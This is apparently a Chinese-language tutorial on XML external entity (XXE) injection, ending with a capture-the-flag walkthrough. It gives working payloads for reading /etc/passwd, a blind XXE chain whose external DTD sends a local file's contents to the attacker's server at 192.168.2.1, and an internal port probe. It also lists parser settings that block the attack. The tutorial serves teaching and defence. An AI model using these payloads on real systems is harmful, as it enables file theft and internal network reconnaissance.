XXE漏洞利用

什么是XXE

XXE就是XML外部实体注入

XXE漏洞发生在应用程序解析XML输入时 如果网站没有禁止外部实体加载,则导致可加载恶意外部文件,任意文件读取 命令执行 探测内网端口等等

XML基础

XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

在我们利用XML实体注入时 一般payload会写在DTD里

DTD 可内部声明和外部声明

这篇文章的内容是XXE(外部实体注入) 所以重点说一下外部

恶意引入外部实体方式

检测是否存在XXE

xml是否被解析

1
<?xml version=”1.0” encoding=”UTF-8?> <!DOCTYPE ANY [ <!ENTITY test “test”> ]> <root>&test;</root>

返回test,进行第二步

检测是否支持外部实体

1
2
3
4
5
<?xml version=”1.0” encoding=”UTF-8?>
<!DOCTYPE ANYTHING [
<!ENTITY % test SYSTEMhttp://test/test.xml”>
%test;
]>

目标服务器是否向我们所设置服务器http://test/test.xml发送请求,如果以上两点都存在的情况下,说明存在XXE漏洞 存在也分为两种情况 回显和无回显

服务器存在回显

1
2
3
<?xml version="1.0"?>
<!DOCTYPE linux [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>&xxe;</root>

通过URI将请求指向了/etc/passwd文件,并最终成功的为我们返回了文件中的内容

有回显的话 会输出/etc/passwd下的内容。

如果服务器没有回显可以blind xxe

服务器不存在回显

不存在回显的情况下我们 可以远程读取文件 被称作 blind xxe漏洞

远程情况下我们需要一个服务器

漏洞网站提交

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///C:/1.txt">
<!ENTITY % remote SYSTEM "http://192.168.2.1/evil.xml">
%remote;
%all;
]>
<root>&send;</root>

本地服务器evil.xml内容为

1
<!ENTITY % all "<!ENTITY send SYSTEM 'http://192.168.2.1/1.php?file=%file;'>">

查看自己服务器访问日志 即可拿到数据

利用场景-检测内网端口

以下代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1:8080" >]>
<root>
<name>&XXE;</name>
</root>

防御XXE

1
2
3
4
5
6
7
8
9
10
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

CTF案例

https://www.jarvisoj.com/平台上的一题 平台题目质量很高 没事的时候刷一刷还是很有趣的。

题目提示:请设法获得目标机器/home/ctf/flag.txt中的flag值。

QQ截图20190908172103.png

抓包发现

1
Content-Type: application/json

我们修改成

1
Content-Type: application/xml

经检测存在XXE

XXEpayload

1
2
3
<?xml version="1.0"?>
<!DOCTYPE linux [<!ENTITY xxe SYSTEM "/home/ctf/flag.txt" >]>
<root>&xxe;</root>

QQ截图20190908173755.png